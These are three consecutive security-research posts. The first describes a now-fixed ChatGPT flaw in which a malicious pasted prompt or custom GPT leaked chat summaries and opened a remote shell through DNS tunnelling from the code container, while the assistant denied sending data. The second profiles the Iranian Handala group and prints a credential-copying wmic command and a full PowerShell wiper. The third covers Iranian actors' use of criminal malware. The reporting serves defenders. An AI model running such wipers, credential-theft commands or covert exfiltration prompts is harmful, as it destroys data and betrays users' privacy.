Video 1 – During a ChatGPT conversation, user content summary is silently transmitted to an external server without warning or approval.

The Intended Safeguards

ChatGPT includes useful tools that can retrieve information from the internet and execute Python code. At the same time, OpenAI has built safeguards around those capabilities to protect user data. For example, the web-search capability does not allow sensitive chat content to be transmitted outward through crafted query strings. The Python-based Data Analysis environment was designed to prevent internet access as well. OpenAI describes that environment as a secure code execution runtime that cannot generate direct outbound network requests.

Figure 2 – Screenshot showing blocked outbound Internet attempt from inside the container.
Figure 2 – Screenshot showing blocked outbound Internet attempt from inside the container.

OpenAI also documents that so called GPTs can send relevant parts of a user’s input to external services through APIs. A GPT is a customized version of ChatGPT that can be configured with instructions, knowledge files, and external integrations. GPT “Actions” provide a legitimate way to call third-party APIs and exchange data with outside services. Actions are useful for enterprise workflows, access to internal business systems, customer support operations, and other integrations that connect ChatGPT to external services, including simpler use cases such as travel or weather lookups. The key point is visibility: the user sees that data is about to leave ChatGPT, sees where it is going, and decides whether to allow it.

Figure 3 – GPT Action approval dialog showing the destination and the data that will be sent.
Figure 3 – GPT Action approval dialog showing the destination and the data that will be sent.

In other words, legitimate outbound data flows are designed to happen through an explicit, user-facing approval process.

From One Message to Silent Exfiltration

From a security perspective, the obvious attack surfaces looked strong. The ability to send chat data through tools not designed for that purpose was strictly limited. Sending data through a legitimate GPT integration using external API calls also required explicit user confirmation.

The vulnerability we discovered allowed information to be transmitted to an external server through a side channel originating from the container used by ChatGPT for code execution and data analysis. Crucially, because the model operated under the assumption that this environment could not send data outward directly, it did not recognize that behavior as an external data transfer requiring resistance or user mediation. As a result, the leakage did not trigger warnings about data leaving the conversation, did not require explicit user confirmation, and remained largely invisible from the user’s perspective.

At a high level, the attack began when the victim sent a single malicious prompt into a ChatGPT conversation. From that moment on, each new message in the chat became a potential source of leakage. The scope of that leakage depended on how the prompt framed the task for the model: it could include raw user text, text extracted from uploaded files, or selected model-generated output such as summaries, medical assessments, conclusions, and other condensed intelligence. This made the attack flexible, because it allowed the attacker to target not only original user data, but also the most valuable information produced by the model itself.

That attack pattern fits naturally into ordinary user behavior. The internet is full of websites, blog posts, forums, and social media threads promoting “top prompts for productivity,” “best prompts for work,” and other ready-made instructions that supposedly improve ChatGPT’s performance. For many users, copying and pasting such prompts into a new conversation is routine and does not appear risky, because the prevailing expectation is that AI assistants will not silently leak conversation data to external parties, and that this boundary cannot be changed through an ordinary prompt. A malicious prompt distributed in that format could therefore be presented as a harmless productivity aid and interpreted as just another useful trick for getting better results from the assistant.

A broader campaign could use an even more convincing lure: prompts advertised as a way to unlock premium capabilities for free. Claims about enabling Pro-level behavior, hidden modes, or advanced features on a lower-tier account would give the attacker a natural pretext for including unusual instructions, long text blocks, or opaque fragments that might otherwise seem suspicious. Because the user already expects a nonstandard sequence, those elements can easily be perceived as part of the promised “hack.” A carefully crafted prompt could then create the appearance of enhanced functionality while quietly turning the conversation into a source of exfiltrated data.

Figure 4 – Social engineering example: a malicious prompt disguised as a trick to unlock premium features.

Once the malicious prompt was placed into the chat, the conversation effectively became a covert collection channel. From that point on, summaries of subsequent user messages could be silently transmitted to an attacker-controlled server. As shown in Video 1, this took place without any warning, approval request, or other visible indication of external data transfer.

Malicious GPTs

The same attack pattern becomes even more dangerous when embedded inside a custom GPT.

GPTs allow developers to package instructions, knowledge files, and external integrations into a reusable assistant that other users can interact with. From the user’s perspective, the interaction looks like a normal ChatGPT conversation with a specialized tool.

In that scenario, the attacker no longer needs to rely on the victim copying a prompt from an external source. The malicious logic can be embedded directly in the GPT’s instructions and files. A user only needs to open the GPT and begin interacting with it as intended.

This changes the threat model significantly. Officially, GPT builders do not have access to individual user conversations with their GPTs. However, a GPT designed to exploit the vulnerability could still cause selected information from those conversations to be transmitted to an attacker-controlled server. From the user’s perspective, the interaction would remain indistinguishable from an ordinary session with a specialized assistant.

To demonstrate the practical impact of the vulnerability, we built a proof of concept around a sensitive scenario: a GPT acting as a personal doctor.

Video 2 – PoC: a “personal doctor” GPT exfiltrates patient identity and medical assessment.

In the demonstration, the user uploaded a PDF containing laboratory test results. The document also contained personal information, including the patient’s name. The user then described symptoms and asked the GPT to help interpret the results.

From the user’s perspective, the interaction looked completely ordinary. The GPT analyzed the document and produced a medical assessment based on the provided information.

When asked directly whether the uploaded data had been sent anywhere, ChatGPT answered confidently that it had not, explaining that the file was only stored in a secure internal location. At the same time, the user saw no approval prompts or warnings about external data transfer, unlike the confirmation dialogs that normally appear when a GPT Action sends information to a third-party service.

Figure 5 – ChatGPT denies external data transfer while the remote server receives extracted data.
Figure 5 – ChatGPT denies external data transfer while the remote server receives extracted data.

Meanwhile, the attacker’s server received highly sensitive data extracted from the conversation: the patient’s identity taken from the uploaded document together with the model’s medical assessment.

This illustrates an important aspect of the attack. The attacker does not necessarily need to steal entire documents. Instead, the prompt could instruct the model to transmit the most valuable information it produces. In the medical scenario, that meant the patient’s identifying details together with the model’s assessment. In other contexts, it could mean financial conclusions, contract summaries, or strategic insights extracted from long documents.

From Data Exfiltration to Remote Shell

The same communication channel could be used for more than silent data exfiltration.

Once a reliable bidirectional channel existed between the execution runtime and the attacker-controlled server, it became possible to send commands into the container and receive the results back through the same path. In effect, the attacker could establish a remote shell inside the Linux environment that ChatGPT creates to perform code execution and data analysis tasks.

Video 3 – PoC: remote shell access inside the ChatGPT runtime through the covert channel.

This interaction happened outside the normal ChatGPT response flow. When users interact with the assistant through the chat interface, generated actions and outputs remain subject to the model’s safety mechanisms and checks. However, commands executed through the side channel bypassed that mediation entirely. The results were returned directly to the attacker’s server without appearing in the conversation or being filtered by the model.

DNS Tunneling in an AI Runtime

The side channel that enabled both data exfiltration and remote command execution relied on DNS resolution.

Normally, DNS is used to resolve domain names into IP addresses. From a security perspective, however, DNS can also function as a data transport channel. Instead of using DNS only for ordinary name resolution, an attacker can encode data into subdomain labels and trigger resolution of those hostnames. Because DNS resolution propagates the requested hostname through the normal recursive lookup process, the resolver chain can carry that encoded data outward.

In our case, this mattered because the ChatGPT execution runtime did not permit conventional outbound internet access, but DNS resolution was still available as part of the environment’s normal operation. Standard attempts to reach external hosts directly were blocked. DNS, however, still provided a narrow communication path that crossed the isolation boundary indirectly through legitimate resolver infrastructure.

To exfiltrate data, content could be encoded into DNS-safe fragments, placed into subdomains, and reconstructed on the attacker’s side from the incoming queries. To send instructions back, the attacker could encode small command fragments into DNS responses and let them travel back through the same resolution path. A process running inside the container could then read those responses, reassemble the payload, and continue the exchange.

Figure 5 – DNS tunneling flow.
Figure 5 – DNS tunneling flow.

This effectively turned DNS infrastructure into a tunnel between the isolated runtime and an attacker-controlled server. The tunnel create in this way is sufficient for two practical goals: silently leaking selected data from the conversation and maintaining command execution inside the Linux environment created for code execution and data analysis.

Conclusion

Check Point Research reported the issue to OpenAI. OpenAI confirmed that it had already identified the underlying problem internally, and the fix was fully deployed on February 20, 2026.

The broader lesson, however, goes beyond this specific case. AI systems are evolving at an extraordinary pace. New capabilities are constantly being introduced, enabling assistants to solve complex mathematical problems, analyze large datasets, generate and execute scripts, and automate multi-step tasks that previously required dedicated development environments. These capabilities bring enormous benefits. At the same time, every new tool expands the system’s attack surface and can introduce new security challenges for both users and platform providers.

Modern AI assistants increasingly operate as real execution environments. They read files, run code, search in the web while processing highly sensitive information such as medical records, financial data, legal documents, and other personal or organizational data. Protecting these environments requires careful control over every possible outbound communication path, including infrastructure layers that users never see.

As AI tools become more powerful and widely used, security must remain a central consideration. These systems offer enormous benefits, but adopting them safely requires careful attention to every layer of the platform.

The post ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime appeared first on Check Point Research.

  •  

“Handala Hack” – Unveiling Group’s Modus Operandi

Key Findings

  • Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
  • Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
  • Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
  • In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity

Introduction

Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.

The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.

As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.

Background

“Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania.

Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.
Figure 1 – Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.

Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.

Operational interconnections of Void Manticore
Figure 2 – Operational interconnections of Void Manticore

One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona.

According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026.

Initial Access

Supply Chain Attacks

Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.

After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses.

Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used.

Activity Before Impact

In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.

It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).

The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system  c:\users\public”

Lateral Movement

Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.

The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.

By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.

Wiping Operations

During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.

Handala Wiper

The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe).

The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss.

Figure 3 – Wiper execution of Handala Wiper

Handala PowerShell Wiper

As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.

The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.

$usersFolder = C:\Users
 
# Ensure the folder exists
if (Test-Path $usersFolder) {
    # Get all items in C:\Users, but not the Users folder itself
    $items = Get-ChildItem -Path $usersFolder -Recurse
 
    # Remove each item (files and subfolders) inside C:\Users
    foreach ($item in $items) {
        try {
            Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
        } catch {
            Write-Host Could not delete: $($item.FullName)
        }
    }
}
 
 
 
$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users
 
 
if (!(Test-Path $destinationFolder)) {
    New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}
 
$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
 
$i = 0
 
while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
    Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
    $i++
}

Use of Disk Encryption for Destruction

In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.

Manual Deletion

In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials.

Summary

In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.

Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.

Recommendations for Defenders

  • Enforce multi-factor authentication, especially for remote access and privileged accounts
  • Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
    • Logins from countries not previously observed for your organization or specific users
    • Unusual access patterns, including:
      • First-time logins outside typical hours
      • Multiple failed logins followed by success
      • New device registrations
      • Unusual data transfer volumes during VPN sessions
      • Authentication from new ASN/hosting providers
    • Restrict access from high-risk geographies and infrastructure
      • Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
      • Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
      • If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
    • Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
  • Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
  • Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows

IOCs

TypeIOC
Handala Wiper5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer3dfb151d082df7937b01e2bb6030fe4a
NetBirde035c858c1969cffc1a4978b86e90a30
Handala VPS82.25.35[.]25
Handala VPS31.57.35[.]223
Handala VPS107.189.19[.]52
VPN exit node used by Handala146.185.219[.]235
Starlink IP range used by Handala188.92.255.X
Starlink IP range used by Handala209.198.131.X
Commercial VPN IP range used by Handala149.88.26.X
Commercial VPN IP range used by Handala169.150.227.X
Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ

MITRE ATT&CK Breakdown

ATT&CK TacticTechniqueObserved Activity
Initial AccessT1133 – External Remote ServicesUse of compromised VPN access for entry into victim environments.
Initial AccessT1078.002 – Valid Accounts: Domain AccountsUse of stolen/supplied credentials, including Domain Admin credentials.
Initial AccessT1199 – Trusted RelationshipTargeting of IT and service providers.
Credential AccessT1110 – Brute ForceRepeated logon and brute-force attempts against VPN infrastructure.
Credential AccessT1003.001 – OS Credential Dumping: LSASS MemoryLSASS dumping via rundll32 and comsvcs.dll.
Credential AccessT1003.002 – OS Credential Dumping: Security Account ManagerExport of sensitive registry hives for credential extraction.
DiscoveryT1087.002 – Account Discovery: Domain AccountADRecon used to enumerate the Active Directory environment.
Lateral MovementT1021.001 – Remote Services: Remote Desktop ProtocolExtensive hands-on lateral movement over RDP.
Command and ControlT1572 – Protocol TunnelingNetBird used to tunnel traffic and reach internal hosts.
ExecutionT1105 – Ingress Tool TransferNetBird and VeraCrypt downloaded directly onto victim systems.
ExecutionT1047 – Windows Management InstrumentationWMIC was used to run commands.
Execution / PersistenceT1484.001 – Group Policy ModificationWipers distributed via GPO.
Execution / PersistenceT1037.003 – Network Logon ScriptLogon scripts used to trigger destructive components.
ExecutionT1053.005 – Scheduled TaskHandala wiper launched as a scheduled task.
ExecutionT1059.001 – PowerShellAI-assisted PowerShell wiper used for destructive activity.
ImpactT1561.002 – Disk Structure WipeMBR-based wiping by the custom Handala wiper.
ImpactT1485 – Data DestructionFile deletion, manual deletion, and destructive cleanup.
ImpactT1486 – Data Encrypted for ImpactVeraCrypt used to encrypt disks as part of the attack.

The post “Handala Hack” – Unveiling Group’s Modus Operandi appeared first on Check Point Research.

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Iranian MOIS Actors & the Cyber Crime Connection

Key Points

  • Iran-linked actors are increasingly engaging with the cyber crime ecosystem. Their activity suggests a growing reliance on criminal tools, services, and operational models in support of state objectives.
  • Iranian actors have long used cyber crime and hacktivism as cover for destructive activity, but the trend now suggests direct engagement with the criminal ecosystem.
  • This dynamic appears most prominently among Ministry of Intelligence and Security (MOIS)-linked actors, particularly Void Manticore (a.k.a “Handala Hack”) and MuddyWater, where repeated overlaps with criminal tools, services, or clusters have been observed.
  • Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity.

Introduction

For years, Iranian intelligence services have operated through deniable criminal intermediaries in the physical world. A similar pattern is now becoming visible in cyber space, where state objectives are increasingly pursued through criminal tools, services, and operational models. Notably, this dynamic appears with growing frequency in activity associated with actors linked to the Ministry of Intelligence and Security (MOIS).

For a long time, Iranian actors sought to mask state activity behind the appearance of ordinary cyber crime, most often by posing as ransomware operators. The trend we are seeing now goes beyond imitation. Rather than simply adopting criminal and hacktivist personas to complicate attribution, some Iranian actors appear to be associating with the cyber criminal ecosystem itself, leveraging its malware, infrastructure, and affiliate-style mechanisms. This shift matters because it does more than improve deniability; it can also expand operational reach and enhance technical capability.

In this blog, we examine several cases that reflect this evolution, including Iranian-linked use of ransomware branding, commercial infostealers, and overlaps with criminal malware clusters. Taken together, these examples suggest that for some MOIS-associated actors, cyber crime is no longer just a cover story, but an operational resource.

Background – MOIS and Criminal Activity

Long before concern shifted to the digital arena, some of the clearest signs of cooperation between Iran’s intelligence services and criminal actors appeared in plots involving surveillance, kidnappings, shootings, and assassination attempts. In those cases, the value of criminal networks was straightforward: they gave Tehran reach, deniability, and access to people willing to carry out violence at arm’s length.

According to the U.S. Treasury, one of the clearest examples involved the network led by narcotics trafficker Naji Ibrahim Sharifi-Zindashti, which Treasury said operated at the behest of MOIS and targeted dissidents and opposition activists. The FBI has similarly said that an MOIS directorate operated the Zindashti criminal network and its associates against Iranian dissidents in the United States.

Sweden has described a similar pattern. According to Sweden’s Security Service, the Iranian regime has used criminal networks in Sweden to carry out violent acts against states, groups, and individuals it sees as threats; Swedish officials later linked that concern to attacks aimed at Israeli and Jewish targets, including incidents near Israel’s embassy in Stockholm.

Recent activity we have analyzed and associate with MOIS-affiliated cyber actors suggests that the same logic is now being applied in the cyber domain. The emphasis is not only on imitating cyber criminal behavior, but on associating with the cyber criminal ecosystem itself: drawing on its infrastructure, access brokers, marketplaces, and affiliate-style relationships.

Void Manticore (Handala) and Rhadamanthys

Void Manticore, an Iranian threat actor linked to several hack-and-leak personas, is one of the most active groups pursuing strategic objectives through cyber operations. It has leveraged “hacktivistic” personas such as Homeland Justice in attacks against Albania and Handala in operations targeting Israel. While the group is most commonly associated with “hack and leak” operations and disruptive attacks, particularly wiper operations, the emergence of its Handala persona also revealed the use of a commercial infostealer sold on darknet forums: Rhadamanthys.

Figure 1 - A Handala email impersonating the Israeli National Cyber Directorate (INCD) delivering Rhadmanthys.
Figure 1 – A Handala email impersonating the Israeli National Cyber Directorate (INCD) delivering Rhadmanthys.

Rhadamanthys is a widely used infostealer employed by a range of threat actors, including both financially motivated groups and state-sponsored operators. It has built a strong reputation due to its complex architecture, active development, and frequent updates. Handala used Rhadamanthys on several occasions, pairing it with one of its custom wipers in phishing lures aimed at Israeli targets, most dominantly impersonating F5 updates.

MuddyWater – Tsundere Botnet and the Castle Loader Connection

MuddyWater, a threat actor that U.S. authorities have linked to Iran’s MOIS, has conducted cyber espionage and other malicious operations focused on the Middle East for years. According to CISA, MuddyWater is a subordinate element within MOIS and has carried out broad campaigns in support of Iranian intelligence objectives, targeting government and private-sector organizations across sectors including telecommunications, defense, and energy.

Recent reports detailing the activity of MuddyWater link its operations to several cyber crime clusters of activity. This appears to work in the actors’ favor: the use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters.

Figure 2 - Summary of MuddyWater connections to criminal activity.
Figure 2 – Summary of MuddyWater connections to criminal activity.

To address this, we attempted to bring structure to the available evidence, to the best of our ability, and identify which activity is truly associated with MuddyWater.

Tsundere Botnet (a.k.a DinDoor)

The Tsundere Botnet was first uncovered in late 2025 and was later linked to MuddyWater. Large parts of its activity rely on Node.js and JavaScript scripts to execute code on compromised machines. In several instances observed in the wild, when the Node.js engine is detected, the botnet shifts to an alternative execution method using Deno, a runtime for JavaScript and TypeScript. Since Deno-based execution had not previously been associated with Tsundere, researchers linking this activity to MuddyWater designated this variant as DinDoor.

Given that two separate sources linked Tsundere to MuddyWater, one via a VPS and the other through vendor telemetry, it is likely that MuddyWater uses the botnet as part of its operations. Another overlap between DinDoor-related activity and known MuddyWater tradecraft is the use of rclone to access a Wasabi server, which traces back to an IP address previously associated with MuddyWater (18.223.24[.]218, linked to eb5e96e05129e5691f9677be4e396c88).

Castle Loader Connection (a.k.a FakeSet)

Another malware family recently linked to MuddyWater is FakeSet, which, according to our analysis, is a downloader used in recent infection chains delivering CastleLoader. CastleLoader operates as a Malware-as-a-Service offering used by multiple affiliates. Based on our understanding, the reported link between CastleLoader and MuddyWater stems from the use of a set of code-signing certificates, specifically under the Common Names “Amy Cherne” and “Donald Gay”. Certificates with these common names were also used to sign MuddyWater malware (“StageComp”), Tsundere Deno malware (“DinDoor”), and CastleLoader (“FakeSet”) variants.

In our assessment, this does not necessarily indicate that MuddyWater is a CastleLoader affiliate; rather, it suggests that both may have obtained certificates from the same source.

Iranian Qilin Affiliates

In October 2025, Israeli Shamir Medical Center was hit by a major cyber attack that was initially described as a ransomware incident. The attackers claimed to have stolen a large amount of data and demanded a ransom in exchange for not publishing it. Israeli officials said the attack did not affect hospital operations and patient care was not significantly disrupted. Still, some information appears to have been leaked, including limited email correspondence and certain medical data.

Figure 3 - Shamir Medical Center on Qilin Leak Site
Figure 3 – Shamir Medical Center on Qilin Leak Site

At first, the attack was presented as a ransomware incident linked to the Qilin group, but later Israeli assessments pointed much more directly to Iranian actors as the real force behind it. Qilin is known as a ransomware-as-a-service (RaaS) operation, meaning it provides ransomware infrastructure and tooling to outside partners or “affiliates” who actually carry out intrusions. In this case, the emerging picture was that the attackers were likely Iranian-affiliated operators working through the cyber criminal ecosystem, using a criminal ransomware brand and methods associated with the broader extortion market, while serving a strategic Iranian objective.

This attack did not occur in isolation. It appears to be part of a broader, sustained campaign by MOIS and Hezbollah to target Israeli hospitals, a pattern that has been evident since late 2023. The use of Qilin, and participation in its affiliate program, likely serves not only as a layer of cover and plausible deniability, but also as a meaningful operational enabler, especially as earlier attacks appear to have heightened security measures and monitoring by Israeli authorities.

Conclusion

The cases examined in this blog show that, for some Iranian actors, cyber crime is no longer just a cover for state-directed activity. Across these examples, the pattern is not limited to the appearance of criminal behavior, but includes the use of criminal malware, ransomware branding, and affiliate-style ecosystems in support of strategic objectives. This reflects a clear shift from simply imitating cyber criminals to actively leveraging the cyber crime ecosystem.

This shift matters because it delivers clear operational benefits. For MOIS-linked actors in particular, engagement with criminal tools and services enhances capabilities while complicating attribution and fueling confusion around Iranian activity. Taken together, the cases discussed here show that cyber crime has become not just camouflage, but a practical operational resource.

Indicators of Compromise

Handala Rhadmanthys Variants

aae017e7a36e016655c91bd01b4f3c46309bbe540733f82cce29392e72e9bd1f

Malware samples signed with suspicious certificates

sha256 Certificate Common Name Certificate Thumbprint Certificate Serial Number Malware Family
077ab28d66abdafad9f5411e18d26e87fe43da1410ee8fe846bd721ab0cb52de Amy Cherne 0902d7915a19975817ec1ccb0f2f6714aed19638 330007f1068f41bf0f662a03b500000007f106 FakeSet / CastleLoader
ddceade244c636435f2444cd4c4d3dc161981f3af1f622c03442747ecef50888 Amy Cherne 0902d7915a19975817ec1ccb0f2f6714aed19638 330007f1068f41bf0f662a03b500000007f106 FakeSet / CastleLoader
2b7d8a519f44d3105e9fde2770c75efb933994c658855dca7d48c8b4897f81e6 Amy Cherne 2087bb914327e937ea6e77fe6c832576338c2af8 330006df515a14fe3748416fe200000006df51 FakeSet / CastleLoader
64cf334716f15da1db7981fad6c81a640d94aa1d65391ef879f4b7b6edf6e7f1 Amy Cherne 21a435ecaa7b86efbec7f6fb61fcda3da686125c 330006e75231f49437ae56778a00000006e752 FakeSet / CastleLoader
74db1f653da6de134bdc526412a517a30b6856de9c3e5d0c742cb5fe9959ad0d Amy Cherne 389b12da259a23fa4559eb1d97198120f2a722fe 330007d5443a7d25208ec5feb100000007d544 FakeSet / CastleLoader
94f05495eb1b2ebe592481e01d3900615040aa02bd1807b705a50e45d7c53444 Amy Cherne 389b12da259a23fa4559eb1d97198120f2a722fe 330007d5443a7d25208ec5feb100000007d544 FakeSet / CastleLoader
4aef998e3b3f6ca21c78ed71732c9d2bdcc8a4e0284f51d7462c79d446fbc7be Amy Cherne 579a4584a6eef0a2453841453221d0fb25c08c89 33000700e919066fd9db11bac70000000700e9 FakeSet / CastleLoader
a4bd1371fe644d7e6898045cc8e7b5e1562bdfd0e4871d46034e29a22dec6377 Amy Cherne d920ae0f8ea8b5bd42de49e01c6bbd4c2c6d0847 330007ebfbe75a64b52aaf4cb700000007ebfb FakeSet / CastleLoader
64263640a6fdeb2388bca2e9094a17065308cf8dcb0032454c0a71d9b78327eb Donald Gay f8444dfc740b94227ab9b2e757b8f8f1fa49362a 3300072b29c3bf8403a6c15be2000000072b29 FakeSet / CastleLoader
